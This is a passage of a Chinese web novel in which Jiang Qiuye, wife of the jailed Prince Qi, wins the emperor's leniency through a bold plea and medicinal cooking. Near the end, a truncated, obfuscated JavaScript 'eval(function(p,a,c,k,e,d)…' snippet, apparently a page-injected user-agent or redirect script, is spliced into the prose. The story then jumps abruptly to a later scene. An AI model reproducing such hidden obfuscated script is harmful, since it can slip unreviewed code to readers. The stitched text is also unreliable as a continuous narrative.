他这才反应过来,忽然感叹道:“如今啊,叶儿飞走了,胆子大了,有着祁王的庇护,怕是连我都难动她了啊。” 不知最初答应她的那个交易,他是否做错了。 92.归家【加更】 第九十二章 随着那颗药丸下肚后,体内火烧的痛苦也很快随之散去。姜秋叶没有立刻回王府,只是走上街道,随意闲逛着。 自来到盛京,早已过数月之久。 十多年在外浮沉漂泊,可这仅仅数月多,她似乎对此处产生了更多的感情,或许是产生了家的依附。 往日,她做完任务,随意找家客栈,洗去一身血迹。走出客栈后,却不知从何而去。 回飞燕阁么? 她知那是自己归处,却非她归处。 昨日,她从床上醒来后便心中慌张,难以寻到遮掩吐血的借口。可是当季辞站在她面前时,却不询问她,而是让她将他当作依仗。 这不就是她一直想要的么? 今日晴空万里,树影参差斑驳,摇曳发出舒适的响动。 姜秋叶随意走入一家馄饨铺子,落座。她注意到开这家铺子的是一家三口,没有雇佣伙计下手。 随意点了一碗馄饨后,给她上菜的是一个小女孩,应是他们的女儿。小手细嫩,碗似乎有些烫,她捧着热气腾腾的馄饨上桌,推至姜秋叶眼前后,立刻将手放置嘴边呼呼吹气。 见姜秋叶盯着她,才忽然反应过来,天真而稚嫩地笑道:“这位客官,请慢用。” 说完后,她便奔至站在柜台的女人,举起她的小手,娇气道:“阿娘,囡囡烫到手了。” 女人将一旁被冰水浸湿的帕子递给她,“自己捂一捂啊。” 小女孩嘟起嘴巴,不情不愿地接过那冰帕子,原在厨房中的男人听闻后立刻跑了出来,将她抱起,心疼哄着,“哟,我们囡囡烫到手了,给阿爹看看。诶哟,都红了。” 女人蹙眉,轻轻捶了他一拳,道:“真是的,怎能连这点苦都吃不得,也没烫伤,就把你担心成这副模样。看看她被你宠的,越发娇气了。” 男人被打了一拳也并不气恼,只是憨厚地露出一个微笑,一手抱着小女孩,一手将妻子搂过,道:“这有何?我就是宠囡囡一辈子又怎的,娘子莫不是吃自己女儿的醋了?” 女人剜了一眼他,别扭道:“囡囡也是我女儿,我怎会吃囡囡的醋?” 男人抿唇一笑,“莫担心,在为夫心里,娘子天下第一重要!” 小女孩听闻后捂着嘴笑了起来,“阿娘莫担心,在囡囡心里,阿娘天下第一重要!” 听着三人的笑声,姜秋叶收回了视线,心境受了影响,嘴角忍不住勾起。 原来那便是家吗? 母亲生下妹妹后便抛夫弃子,直接离开不见。她对那个心狠的女人毫无印象。 自她有记忆起,便只有赌鬼父亲的身影。没有活计,整日干的都是小偷小摸的活,全家靠着她卖龙须糖而维持生计。那个所谓的父亲,有了钱便立刻拿出去赌,赌输后回到家中酗酒,喝醉后又对着她和妹妹大打出手。 她一直不知幸福的家庭是何种模样,多年以来,她以为父亲给予她的家庭便是正常多数人拥有的家庭。 家。 在她心中是一个让她试图摆脱,又带着些许恐惧的代名词。 可是嫁给季辞后,她发现,家这个字,似乎还有其他解读。 家便是,每日在外,吃完一碗馄饨后,知道自己该往何处而去。 回到那小屋,烤着温热的炭火,看着屋外的狂风骤雨,带着淡淡微笑,绣起手中荷包。 家人归来后,一同用晚膳,谈论着这一天的所见所闻。 而看到这一家三口,她更是心中羡慕。 原来真正的家,不是一个酗酒的赌鬼父亲,回来后因几个铜钱的得失而暴怒打人。 搅了搅碗中的馄饨,她大口大口下肚,暖了她的胃。 再次见到言无,她以为自己会恐惧,那种恐惧是多年折磨与打压之下,刻在骨子里的恐惧。 可今日她竟第一次威胁了他,那句话脱口而出后,原本笼罩在她头上,让她深感窒息的黑布,似乎被撕裂开一个巨大的口子,终得以见光,大口喘息。 好像反抗这股恐惧,很难,却也很简单,不过是那一句话而已。 又或是,她知晓了自己身后的依仗,开始硬气起来。 将馄饨吃完后,她舒服地叹出一口气,将银子放置于桌上,便离开了这家馄饨铺子。 可以回家了。 盛京很大,街道上是众多的小贩与行人。似乎在想通后,连脚步都变得轻盈些。她看向街边卖糖人的小贩,忍不住微微一笑,她如今也同这群普通百姓一般,知道往何处而去。 没错,此次出来,仅仅是那碗馄饨,便让她做好了决定。 她要对季辞坦白一切。 虽不知他若知晓了自己所有的不堪后会是何种反应。 虽带着无法确信的不安,可是此刻,她心中明确,她想要的,不是每个月那几颗可怜的解药,不是漫无目的地追寻,而是想要一个家。 仅此而已。 姜秋叶回到王府时,时辰依早,想到今夜便要坦白,心中愈发紧张起来。 她在贵妃椅上坐了许久,控制不住自己抖动的腿,便起身往院中走去。见到符叔,便将人喊了过来,让他去打听季辞何时回府。 被派的小厮很快便出了门,打探一番,回来禀道王爷今日约莫酉时便回。 比以往都早些,可她心中依旧按耐不住,她看着刻漏,掐着时间入了厨房,又指挥着厨子做了一道道山珍海味。而自己也亲自动手,先是制了一碗季辞最爱的乌鸡汤。而后又做了几道甜点,马蹄糕,还有龙须糖。 弄完这一切后,她才发觉自己出了一身汗。 已是酉时初,他还未回府。等了两刻后,她心中着急,又派小厮前往打探一番。 那小厮依旧很快归来,道王爷好像被一些事耽搁住了,虽不知何事,只说是可能亥时才能回府。 姜秋叶心落了空,看着厨房灶台上上摆好的一道道精致美食,有些失落。不过既然是公事绊住脚,她也无可奈何。 拉开自己衣领,闻到了些许汗味。又开始庆幸自己还有时间,可以洗漱打扮一番,便让明月烧了热水,入净室沐浴。 将香露加入其中,连头发都抹上香蜜,闭着眼睛在浴桶中假寐片刻。 明月入净室为她擦身,她忍不住 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明月一僵,看着她躲开的视线明白她在害羞,不再打趣,只是认真帮她沐浴完毕,出浴后,又将她头发用鎏金烘球慢慢烘干。 看她闭眼躺在贵妃椅上,腰部塌陷,盈盈一握,这般罕见美人,也难怪王爷对王妃如此上心。 姜秋叶心中难耐,时不时睁开眼看一眼刻漏,只觉今日比以往格外难熬。 她开始思索着今夜如何开口,是等用完膳吗? 嗯,季辞每次吃饱喝足,都格外好脾气,那定然是先用膳了。 屋外天色渐黑,她又派出一小厮前往刑部打探。自己则开始选起今夜要穿的衣服,平日浅色的衣服她虽喜欢,却是穿太多,或许季辞也会看腻了眼。 最后还是选了一件不常穿的绯色薄纱儒裙,戴上月白披帛。犹豫一番后,还是没有化妆,只是将发随意挽起,几缕发丝随意垂落胸前,清水出芙蓉。 好不容易熬到了亥时,可季辞竟还未归家,而派出去的小厮也未回来。 姜秋叶蹙眉,心中又是慌张,又强行镇定下来,或许那公务太过耽搁了罢。 她走出寝室,看着屋外月色,今日乃是圆月,月下若能小酌一杯,定然舒适。这般想着,便又转身让明月将存储的清酒拿出,将器皿放置在归鸿院中那棵槐树之下。 亥时都快过了,季辞竟还未回来,她感到自己心似乎跳出了嗓子眼,便直接去了王府门口站着等待。 明月见她面色不佳,又想到她昨夜才大病一场,安慰道:“王妃,夜晚冷,王爷定然很快便回,要不然王妃先回屋中等待吧。明月站在这儿,只要一见到王爷身影,必定去向王妃禀告。” 姜秋叶到了如今,心中越发不安,她摇了摇头,看着那漆黑的街道尽头。 想了想,又转头让另一个小厮前往打探一番,那小厮颔首,正要离开时,便见到上一个去打探的小厮从远处飞奔着回府。 姜秋叶看着他满头是汗,呼吸急促,不由眉心一跳,努力压着声音问道:“王爷呢?见到了吗?他何时归?” 那小厮大喘几口气,这才抬头,呆若木鸡道:“王妃,不好了!王爷被圣上下入诏狱了!” 93.棋盘(三合一) 第九十三章 姜秋叶耳旁有些嗡鸣,又似乎静得很,王府门口高高悬起的灯笼光影轻轻晃动着,带动着身前小厮的人影。 “你说什么?”她以为自己听错,又问了一遍。 那小厮眼中也是慌张,“王爷被圣上下入诏狱了!” 她此次终于听清,身子竟支撑不住,脚一软,往一旁歪倒,明月见状急忙将她扶住,立刻问道那小厮:“究竟发生了何事?王爷为何被圣上下入诏狱?” 小厮上气不接下气,道:“今日清晨,圣上遭到刺客刺杀,那刺客失败,被抓住,没怎么过刑,便招供说是王爷指使。可这怎么可能呢?圣上自然不信,认为是有人试图诬陷,让人再查那刺客。” “结果后来,在刺客的招供下,他们果然在一处民宅中找到了一封给刺客的密信,那密信上让那刺客假扮太监,入宫行刺。” “区区一封密信,怎能证明是祁王指使?”姜秋叶心乱如麻问道。 “光凭那密信自然无法证明,可关键是,那密信上竟然有祁王印信。如今证据确凿,圣上大怒之下便将王爷下入狱中。我出了王府后,一直寻不到王爷,也是刚才才知晓,竟发生了此等大事。王妃,如今该怎么办啊?” 小厮六神无主,如今祁王府虽未被圣上查封,却怕是早晚的事。此行刺乃是造反,若最终定了罪,定会株连,别说王妃自身难保,连他们这群下人怕都要流放,甚至砍头。 “那、那天去呢?他不是一直跟在王爷身边吗?” “听说天去大人也被捕了,小的只能打探到王爷的这点儿消息,天去大人如今具体如何,便不知晓。” 姜秋叶抬手撑住门廊,虽然她知,或许早有这样一天,可此事竟如此突然,让她措手不及。 她眯着眼睛,仔细思索。季辞不可能造反,这一点她比谁都要明白。 究竟是谁?是谁想要害他? 此时,她脑海中的第一反应,便是想到了圣上自导自演的可能,可如今骊国蠢蠢欲动,季辞对圣上还有大用,怎会在开战前就对他下手? 再加上祁王印信,外面之人怎会拿到?难道这府中,除了她,还有别的细作? 她转头,扫视一眼站在王府门口,等着她下令,神色慌张的众人。 如今深夜,圣上还未来得及下旨抄家,也未封锁王府,或许还有转机。 只是转机是何,她如今仍不知道,但她绝不可能坐以待毙。 “明月,帮我收拾一番,我要入宫,面见圣上!”她站直身子,重新打起精神。 此番,她不仅要自救,还要想办法,救出季辞! 明月一愣,道:“可是王妃,如今宫门早已下了啊,还如何入宫?” 姜秋叶顿在原地,懊恼锤头。 是啊,她如今突然成了反贼家属,定然难以见到皇帝的面,再加上宫门确实已经下钥。 骤然,她脑海中闪过一人,或许可帮她入宫。 “立即收拾东西,与我去一趟魏王府!” 夜凉如水,苍穹的圆月却异常明亮。圆月自古象征着吉兆,可姜秋叶却信不得这吉兆。她记得,将军府灭门那晚,便是百年难遇的大吉。 坐着王府的马车,沿着小路来到了魏王府门前,明月掌灯,带着姜秋叶下了马车,在王府门前敲响,等待许久。 明月不断敲门,大喊着祁王妃的到来,姜秋叶心逐渐沉了下去,环视着四周,直到一炷香的时间,那老管家才姗姗来迟,将魏王府门打开。在阐明一番来意后,老管家言魏王今日入了宫,并未回来。 姜秋叶转头看着已经空荡下来的街道,她其实可以自己一人潜入皇宫,可皇宫守卫森严,在此事上,她不能去赌。 若皇帝发现她的身份,怕是对季辞如今的处境雪上加霜,要给他再来一条包庇细作的通敌之罪。 “走,去找梁王。”姜秋叶直径又上了马车,让马夫带着他们往梁王府而去。 马车轮压过石板路,咯吱咯吱行驶在夜中。 她没有抱太大希望,既然魏王被皇帝召入宫中,怕是梁王也是如此。 可令她意外的是,梁王竟在自己王府中。 姜秋叶被梁王府小厮引入,落座于前堂。没等多久,季康便穿着简单的外衫来了堂中,看起来刚睡醒的模样,随之而来的还有段氏。 段氏为姜秋叶上茶,季康悄悄转眼给了她一个眼神,便让其退了下去。 堂中只剩下他们两人。 季康不急不缓地抬起茶杯,轻抿了一口,这才看向姜秋叶,笑道:“皇婶深夜拜访,不知有何要事?” 姜秋叶看出季康这是揣着明白装糊涂,便也懒得与他寒暄,道:“今日圣上被人刺杀这么大的事,梁王怎会不知?我也不拐弯抹角了,直接与你说吧。我想入宫,面见圣上。” 季康拿着茶杯的手一顿,斜眼瞅着她,道:“我的好皇婶,此事事关重大,所有人对祁王都唯恐避之不及,你这是想让我搅入这趟浑水之中?这么做,对我有何好处?” 她心知此事难办,可必须尝试过一切方式。 “梁王殿下,我知你为难,只要你助我入宫便好,剩下的我再想办法。我定然不会透露你助我一事。” 他手指摩挲着茶杯边缘,死死盯着她没有说话,片刻后,见她眉眼间似乎没了耐心,忽然出口问道:“叶儿妹妹,你就这么喜欢我皇叔?为了他东奔西走,你可知,此刻面见父皇,他或许反而因此暴怒。” 姜秋叶道:“我知道,可我也知,此事万万不可拖。等圣旨下来,便什么都晚了。” 她见季康依旧无动于衷,低眸思索一番后,重新抬眸,眼中晃过一丝水光,声音软了下来,“季康,你知我心性,我自私自利。此番一行,我也是为了自己。若是圣旨下来,祁王罪行株连我,那时我便来不及了。难道王爷,便眼睁睁看着,对叶儿见死不救吗?” 季康滞住,他是不愿救他的好皇叔,可是姜秋叶此番模样,却戳中他命门。 他嗤笑一声,将茶杯中的茶水一饮而尽,空茶杯被用力拍直桌上,随后起身,“那便走吧,叶儿妹妹。” 姜秋叶见状,眼中弥漫的泪水瞬间收回,她低下头,终于松了一口气。 坐上季康的马车,此次没有带上明月,只她一人,与季康一同往晋和宫而去。 车厢内空间狭小,可姜秋叶满脑子都是入宫后如何才能见到皇帝,没注意到对面季康盯着她的眼神,充满了复杂。 入宫门时被侍卫拦住审了一番,可看在梁王脸面,还是顺利通过。 随着身后的朱雀大门缓缓关闭,姜秋叶松开了袖下拧在一起的手。 “今夜,多谢梁王,在这里将我放下便好,若让人知晓是你带我进来,对你怕是不好。王爷今日恩情,来日叶儿定报!” 季康没有过多反应,只是轻道:“父皇知你入宫,怕是很容易便猜到我了。” 他让马车继续走了一段路后,才悠悠停下。 没看姜秋叶,只是盯着车外弄弄月色道:“皇婶,我先提醒一句,父皇或许不会见你,我便送你到此处。” 姜秋叶颔首,最后看了他一眼,不再停留,便下了马车,一人往太极殿而去。 …… 太极殿依旧灯火通明,皇帝坐于主位,揉着泛疼的额头,翻阅着桌上一堆弹劾季辞的奏章。 “祁王在狱中,可有交待什么?” 内侍监李公公听皇帝终于问话后,转了转眼睛,立即上前,道:“回陛下,祁王只说了一句话。他说……陛下慧眼如炬,只求陛下此次放过祁王妃与王府一众人等。” 皇帝听闻后一愣,扔下手中的奏章,盯着不远处发呆。 片刻后,又苦笑着摇了摇头,“他竟真只有这一句?甚至都不辩解?” “是,陛下。” 正在这时,殿外值守的小太监脚步慌乱往主坐而来,他在李公公耳边低语几句,李公公便立刻上前,向皇帝禀告,“陛下,祁王妃跪在殿外,求见陛下。” “祁王妃?” 皇帝抬眼,讽刺一笑,这两个人,一个要他放过祁王妃,一个为了祁王不知如何深更半夜竟入了宫。 “朕不见!她想跪便让她跪着!” 吼完后他开始剧烈咳嗽,竟一直停不下来,许久后才平息,扶着因久日咳嗽所疼痛的胸脯和嗓子。 李公公见状转身,朝着外面小太监传达皇命。 姜秋叶听闻皇帝不见她,却也是在她意料之中。她此番若能见到必然最好,可若见不到,也需得表现出她与祁王一腔赤诚,才可寻到生机。 跪一晚上而已,对她来说不算甚。 翌日清晨,皇帝以昨日受到惊吓为由,身体不适,免了一日早朝。夜露寒重,她身下素白的衣裙渐渐湿了些许,可他仍没有见姜秋叶。 她膝盖疼痛到麻木,最主要还是彻夜未眠,昨日的毒才刚被压下,身体中的疲倦之感,让她撑得有些困难。 她伸出手,轻轻揉了揉膝盖,而后发现淑妃往远处而来,瞟了她一眼,带着食盒入了太极殿。 这一整晚,她都未见到魏王的影子,此时见到淑妃,便猜到,魏王是被她关在了自己殿中,以防他被自己拖下水。 随着太阳上升,天气也渐热起来,光直射在姜秋叶脸上,让她有些难受和刺眼。 此刻更像是置身冰火两重天之中。 直到过了晌午,淑妃才慢悠悠出了太极殿,站定在姜秋叶面前。 她感到了一片阴影,抬头一看蹙着眉的淑妃,身子似是不受控制地轻轻一歪。 淑妃立刻让身旁的女官将她扶住,温柔道:“祁王妃,你便是跪死在这儿,陛下也不会见你。” “……我知道。”姜秋叶舔了舔干燥的唇。 可她除了如此,毫无他法。 淑妃道:“你既然知晓,何苦还在这里受罪?我听陛下说了,祁王已经向陛下求了恩典,知你无辜,不会降罪于你。” 姜秋叶没有发话,只是呆呆看着她,手悄悄攥成拳。 淑妃再度叹气,让女官将她扶起,见她似要拒绝,便道:“你先起来,随我回永和宫,我会帮你。” 姜秋叶感到吃惊,“……娘娘。” 女官用力将她扶起,长久跪地,她起身后便踉跄了一番,有人搀扶,也不至于倒地。 “娘娘为何要帮我?” 等她稳住身子后,淑妃才朝着她笑了笑,道:“魏王在永和宫中闹了一晚上,折腾得厉害,我实在受不了他。我有办法,让你见到陛下。” 被女官扶着走入永和宫时,魏王已经被淑妃的人送回了魏王府,只听宫女说他吵着要见皇婶,最后还是被带走。 她缓缓落座一张榻上,揉了揉膝盖,看着女官将茶点送上。 淑妃眼中带着歉意道:“魏王这孩子,年纪如此大了,还是小孩家心性,单纯得很,让祁王妃见笑。” 姜秋叶想象到他被强行拖走的模样,不由惹得自己一笑,“娘娘哪里话,魏王如此心性,实属难得。” “本宫不让他见你,你莫要多想,实在是他不争气,做事又冲动,担心他搅浑进来,没帮上忙不说,还惹得自己一身腥。” 姜秋叶自然知晓,并不怪罪淑妃的行为,只是心中着急难安,“我晓得。娘娘,不知娘娘要如何帮我面见陛下?” 淑妃看着一眼身旁的女官,让她们退开,等寝宫里安静下来后,才道:“陛下这些时日被顽疾缠身,喉咙肿痛,难以进食,他深受其恼。我曾听闻祁王妃做得一手好药膳,若是王妃能为陛下准备一道晚膳,我将其送入太极宫中。若他能顺利进食,我定然与他说道,让你见他一面。” 姜秋叶似乎没想到,淑妃的方法竟是如此,她狐疑道:“娘娘,此番可会让您陷入不义之中?您不怕,陛下反暴怒吗?” 淑妃摇了摇头,笑道:“其实陛下很好说话,特别是这些年陛下对我宠爱有加,他或许怪罪两句,却不会说甚。况且,若你的药膳让陛下身体好转,又怎会怪罪?再加上,陛下已经说过,祁王之罪,不会降罪于王妃与府中一干众人。“ 姜秋叶心头一喜,心中的焦虑减轻不少,她立刻起身,朝着淑妃行了一个大礼。 她琢磨了一下午,是夜,准备了一道炖雪梨。外面通传一声,她将其交给淑妃,深呼吸一口气,终于跟上她的身影。 夜晚在太极宫掌灯的人很多,殿内也是灯火通明。她站在殿门等着,一动不动,盯着室内。 太极宫很大,并看不到皇帝与淑妃的身影,也听不到任何声音。姜秋叶心中有些急切,可能做的却也只是抱着希望等待。 约莫等了一个时辰,淑妃终于从殿中走出,朝着她一笑,道:“进去吧。” “臣妇多谢娘娘相助。”她心中大喜,朝着她行过礼,便往殿中而去。 她并非第一次来太极殿,可却是第一次在夜晚前来。虽说点了成百上千根蜡烛,宫人也熙熙攘攘站了不少,可整个大殿太过空旷,带着一股诡异又孤独的气息。 到了皇帝下方,她低着头,并看不清皇帝表情,摸不准他此刻想法,只能被内侍领着行跪拜之礼。 “平身。”皇帝平淡开口后,便止不住地咳嗽,许久之后才揉着嗓子处,看着叩谢过的姜秋叶,“祁王妃今夜这药膳做得不错,很对朕胃口。” 姜秋叶起身后,仍旧低着头,恭敬道:“回陛下,听淑妃娘娘提及最近陛下咽喉不适。臣妇便在这碗梨汤中加入了川贝,南北杏,玉竹等药材,不仅滋润喉咙,也能清热消肿。” 她悄悄抬眼一看目光逐渐软下来的皇帝,酝酿一番,眼中弥散出了淡淡泪光与红丝,带着淡淡微笑,“祁王平日里,也是要靠着臣妇的药膳,才能好好吃下一顿饭。对他来说,实在生活不易。” 皇帝顿了一会儿,问道:“如今他下入诏狱,怕是吃不到你的药膳,怎么,你怪朕?” 姜秋叶作出惶恐状,立刻道:“怎么会怪陛下,无论是祁王,还是臣妇,都不会怪陛下。” 她用了“不会”一词,而非“不敢”。皇帝想到祁王从狱中带给自己的那一句话,垂下眼。 她见他表情发生转变,立刻跪下匍匐地上,重重磕头,大声道:“陛下,臣妇有罪!” 皇帝被她突如其来的举动吓了一跳,“何罪之有?” 她抬起头,睡下眼,似乎难以启齿,鼓足勇气后才道:“陛下,臣妇曾有反心。” “什么?”皇帝愣住,不明白这个女人竟然能如此大胆,当着天子的面说自己有反心。 姜秋叶道:“陛下,臣妇一生不顺,从小偏僻乡野长大,未读过圣贤书。臣妇是一个自私自利之人,当初也是因贪慕荣华富贵,才嫁给了祁王。可在与祁王的这段婚姻之中,他心存良善,将天下万民与陛下深放心中,一心为大晋讨回当年之耻。臣妇无德,是祁王教会臣妇世间良道。” 她说着,哽咽一番,“陛下,臣妇不敢隐瞒陛下,臣妇有罪!其罪当诛!臣妇曾因虚荣,试图怂恿祁王造反,可他却将臣妇狠狠教训了一通,甚至因此有过很长一段时日冷淡臣妇。陛下,天下人皆可能有反心,臣妇也好,市井小民也罢,皆被尘世繁华所迷惑心智。可臣妇知晓,祁王绝对不是这其中一人!” 皇帝瞪着眼睛,手指微颤,仔细观察着这个跪在地上的祁王妃。这个女人,简直胆大包天,在天子面前说出这一番砍头之语。 他忍不住又是一阵急咳,平缓下来后,重新看回她的脸上 虽是大胆,可是她面上人畜无害,美到极至,却眼神坚定,似乎抛下一切,说尽一切肺腑之言,将诚心撕开。 “他为何......绝不是这其中一人?只是因为你亲近于他,便信任于他?” 姜秋叶摇了摇头,“陛下,这么多年,祁王心性如何,陛下作为兄长,定然知晓。祁王,为天下万民代罪,更为启元皇后代罪!” 皇帝没有应答,只是听到启元皇后之名,两手一紧,眯起了双眼。 她抓住手中的大袖,强迫自己看回眼神漆黑的皇帝,道:“陛下,祁王曾对臣妇说过,启元皇后这一生最后悔之事,便是当初听信了那巫术士之言。她后悔自己的糊涂,更后悔自己的偏心。在她离去那晚,她以死要求祁王,在她遗体前立下誓言,此生尽心竭力辅佐陛下,绝不觊觎天子之位,如违此誓,凌迟受死!” 看着皇帝似乎陷入沉默与回忆之中,动之以情,她做了,现在便要晓之以理。 “陛下,如今骊国对我大晋虎视眈眈,前些时日的边境袭扰,便是试探。这一点,不必臣妇多说,陛下定然知晓。此次试探,虽有怀化大将军亲自带兵镇压,可仅仅只是骊国野心的开端。” “骊国国主燕悻,得位之行,名不正言不顺,当年屠城,不得民心,如今执政依旧不稳,且至今建国不过十多余年。而我大晋自停战这些年来,得力于新政施行,蒸蒸日上,武力昌盛,如今乃是北伐最好的时机。若求和十数年,骊国定然发展壮大,到时他们南下势在必行,而大晋却错失如此良机,乃是得不偿失。” 她直视着前方,眼神更加坚定,道:“而祁王殿下,将帅之才。当初五千兵马大败骊国三万铁骑,威震骊国小儿,那一战便使得他们胆战心惊,数年不敢攻伐。若是此刻关键时机,祁王被杀,骊国定然会无视求和,大举南下。陛下,若想从骊国野心中保下大晋!祁王,杀不得!” “陛下,祁王,乃真心遵您为兄长,他恪守诺言,曾因臣妇一己之私大怒。如今臣妇饱读圣贤,知晓天子大道,与祁王殿下水中蒹葭,天上鸳鸯。臣妇愿为祁王代过一切罪责,曾经有反心的人,是臣妇!而非祁王啊,陛下!” 皇帝不发一言,只是看着叩首趴在下方的姜秋叶,如此卑微,阴冷道:“为祁王代过一切罪责?你可知祁王如今之罪,可判下凌迟?” 姜秋叶抬头,双眼通红,两行眼泪留下,如此美人,怎能不让人心软? “陛下,即便凌迟,臣妇也愿。求陛下,赐臣妇死罪!” 说完,她又再次重重磕下一头,原本瓷白的额头红了一片。 皇帝叹息,“祁王如今所犯之罪,乃谋逆,证据确凿。那刺客密信之上带有,祁王印信。” 姜秋叶心头一紧,难道她说了这么多,皇帝还是不放过季辞吗? 只听他又道:“简兮身患病症,如今一人在诏狱,怕是吃不好。朕允你,每日可送一份药膳,交给内侍监,替你送入狱中。朕会派三司,继续细查这谋逆案。” 皇帝声音低沉,想到启元皇后,想到自己儿时最宠爱的幼弟简兮,终是不忍。 姜秋叶心中大喜过望,再次叩首,“臣妇替祁王,叩谢陛下隆恩!” “嗯,朕总算知晓,为何祁王非你不可了。” 他见过无数女人,有妩媚者,有单纯者,有聪慧者,亦有胆大妄为者。可像祁王妃这般,集齐所有,他首次见。而这个跪在地上的小妇人,在死亡威胁之下,还依旧能逻辑清晰,字字句句,说到人心坎之上。 皇帝终于勾唇一笑,“这些时日,你便待在淑妃的永和宫中,每日为朕也备一份药膳,你看可好?” “是陛下!臣妇紧尊圣命!” 她不知为何皇帝要让她待在宫中,她实在不信是因为自己所制药膳。 不过无论如何,今日总归为季辞寻到了一线生机,如今三司共同查案,她并不能伸手掺合。唯一能做的便只有等待。 …… 京郊诏狱之中,火光昏暗,一条漆黑而冗长的甬道之后是一间密闭囚室。李公公带着食盒走过,忽感身上些许阴冷,手中拂尘微微一颤。 狱卒将门打开后,便是一袭囚服的季辞,手腕和脚腕还带着刑具。好在在皇帝的旨意下,还没有受过刑,身上算干净。 听到声音后,他缓缓睁开眼睛,看着眼前向自己颔首简单行礼的李公公,“老奴参见祁王殿下。” 季辞扯了扯嘴角,道:“李公公不必如此客气,想必本王很快便不是祁王了。” 李公公没有直接回答,只是将手上的食盒放上桌,往前一推,道:“王爷近些时日,想来在狱中食不下咽。这狱卒小吏啊,平日里都是些些插科打诨的,定然慢待了王爷。” 他听闻后只是面无表情一瞥食盒,道:“本王既是阶下囚,怎能与他人区别对待,李公公请回吧。” 李公公见状笑了笑,直接上前将食盒打开,用热水保温的汤碗被抬出,道:“王爷确定不要吗?” 季辞在看到那碗中食物时便愣住,是他最爱的一道乌鸡汤,他那小妻子的手艺,他一眼便能看出来,猛地抬头看向李公公不解,“王妃?” 李公公不能多嘴,只是简单道:“这是陛下亲允王妃,每日向诏狱中,为王爷送一份亲手所制药膳。王妃昨夜求见了陛下,一席话深得陛下心意,便亲自下令,让三司重审王爷谋逆案。这些可都是祁王妃为王爷求来的。” 季辞震惊地抬手将碗拿近,他知晓自己妻子本性,自私自利,一旦大难临头,便极有可能飞走不见人影。他实在没想到,她竟依旧为他急忙奔走,还求来了皇帝重查案件的旨意。 李公公见他不再推拒,便福身行礼,直接退出囚室。 囚室大门再次被铁锁牢牢锁住,除了高窗外的月光,屋内漆黑阴冷。他将那乌鸡汤抬起,慢慢一饮而尽,还是曾经熟悉的味道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原本姜秋叶每日都跟随淑妃一同入养心殿,送每日为皇帝所做的治疗咽喉肿痛的药膳。如今淑妃病倒,便改由姜秋叶独自送去。 听闻前些天皇后探病侍疾,却不知为何惹了皇帝暴怒,大骂她一通,还砸了东西,将她赶出养心殿。 姜秋叶踏过地上的水渍,上了月台,本以为将药膳交给内侍便好,没想到皇帝却亲自唤了她进入。 他的病症似乎比往日严重了些许,近些日子都未上朝,躺在龙床之上低声喃喃自语,整日竟只能吃得下她亲做的这一顿药膳。 姜秋叶上前,先朝着皇帝跪拜,获得许可后才起身靠近。李公公上前,将皇帝从床榻上扶起,又垫了几个枕在他身后。 皇帝一手揉着脖颈,一边清了清嗓子,才接过姜秋叶手中的汤碗。李公公拿出银针上前,入汤检验一番后,皇帝才缓缓将其饮下。 片刻后,姜秋叶收回空碗,听着皇帝含着痰的嘶哑嗓音传入耳中,“如今,没想到朕也到了这大限之日,也只能吃得下祁王妃亲手制的了。” 李公公听闻后大惊,立即跪下,声音颤抖道:“陛下!陛下乃万岁啊,莫要胡说啊,这岂不是折煞了奴婢!” 姜秋叶面色也有些惊讶,看了一眼趴在地上的李公公,又看了看长时间食欲不振,而导致两眼凹陷发青的皇帝,她明明记得,那日进宫见他时,还是精神抖擞的模样,却未想到真叫病来如山倒。 她也立刻起身跟着跪下,道:“陛下只是咽喉之症,必能治愈。” 皇帝低头,轻轻摇了摇,让李公公退下,殿中只留下姜秋叶一人。 他闭眼片刻,姜秋叶也不敢起身,而后他忽然道:“这些时日什么都难以入腹,虽非厌食之症,却也差不多体会到了简兮这些年的苦。仅仅半月而已,而他却是近十年。也难怪他轻易便沉沦于你,别说简兮,如今连朕也离不开你亲手制的药膳了。” 姜秋叶看着明明正直壮年,却似已垂暮的皇帝,虽不是明君,不是好兄长,这些年却也是为晋国殚精竭虑,她心有波澜,“陛下,王爷自认识臣妇的这些时日里,他很努力,努力着想要治愈自己的身体,好好生活。陛下乃天下之主,天下是否动荡皆系于陛下,所以陛下也应当努力,莫要说出大限之语。” 皇帝看着她笑了笑,抬手让她起来,又招了招手,示意她落座于榻边一张圆椅之上。 殿外还在淅淅沥沥的下着小雨,听着那雨声,皇帝忽而一笑,“年幼之时,简兮便是贪玩。母后时常于春季,拿了父皇许可,带朕与简兮出宫郊游。朕喜风筝,简兮喜下河凫水。还记得有一次,已经到了乾阳城郊,却是天公不作美下起大雨。朕与母后决定摆驾回宫,没想到他这顽皮小儿,竟自己一人偷跑,淋着大雨入河中捉鱼,回来后便染了风寒。” 姜秋叶一怔,回忆着季辞那番冰冷木头的模样,没想到幼时竟是这般模样,不由跟着失声一笑。 她忽然反应过来,自己御前失仪,立刻收回那笑,低头道:“臣妇失态了,陛下恕罪。” “这有何?无谓,本就是一家人。” 皇帝看向远方,神情有些呆滞,道:“朕这一生,从太子到这个位置,一直都是明枪暗箭,信任之人皆数背叛。你想啊,连朕的母后都能背叛朕,朕究竟如何才能对简兮真正放下心防。” 姜秋叶垂眸,“王爷定然了解陛下的难处。” “朕登皇位,脚下踩的是万千白骨,而后便猜忌了简兮半辈子。朕自己的身体,朕知道,如今病入膏肓时,才忽然间回忆起儿时往事。回忆起父皇,简兮,还有母后。他可是朕儿时,最为宠爱的幼弟。每每入梦,只求回溯。可惜,天不遂人愿。朕这一生,唯一对不起的人便是他,也不知他可还愿原谅朕......” “陛下!”姜秋叶打断他的话,“陛下,王爷从未怪过陛下。所以这些年来,无论陛下做什么,王爷都一心为陛下,恪守自己的誓言。” 她说完这话后,又立刻起身往后退了几步,跪下行礼道:“陛下,臣妇虽不是医师,医术不及太医令。可既然陛下能顺利服用臣妇药膳,臣妇请求陛下,允许臣妇每日为陛下备下一日三餐,直到陛下痊愈。” 她不知自己为何会有如此突如其来的想法。 按照以往正常的她,既然皇帝如此猜忌季辞,不如死了最好。可现如今,她好像更想......守护住他们自儿时的那份兄弟情义。 毕竟她的简兮哥哥,自先晋灭国起,便失去了父皇,失去母后,失去希冀,失去一切。如今,他好像剩下的不多了。 